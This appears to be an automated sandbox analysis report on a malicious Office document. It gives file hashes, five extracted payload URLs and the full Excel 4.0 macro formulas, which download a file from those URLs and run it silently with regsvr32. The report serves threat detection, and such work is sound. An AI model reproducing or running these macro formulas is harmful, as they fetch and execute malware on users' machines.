General
-
Target
6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab
-
Size
69KB
-
MD5
d777bc5609f8a1a152583d9f8278779c
-
SHA1
8306020d9df452bcec1ac72e504d4254432b50a6
-
SHA256
6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab
-
SHA512
13fb11d94bfae5753f72bcd2dce32e6fef0400c5de5f4425425dcecb978232fc1c80fbd2de24bddcebf71ab9ac471cd434e5c1e7cad085930da34c1f5d68a0bc
-
SSDEEP
1536:Np0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:szWhxHjh88ZoH7juFuZiQg
Malware Config
Extracted
https://vasilestudio.com/wp-admin/pZ1vbd5Z/
https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/
https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/
https://triclicks.net/wp-admin/bv/
https://thecanadianarab.com/wp-content/VJ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab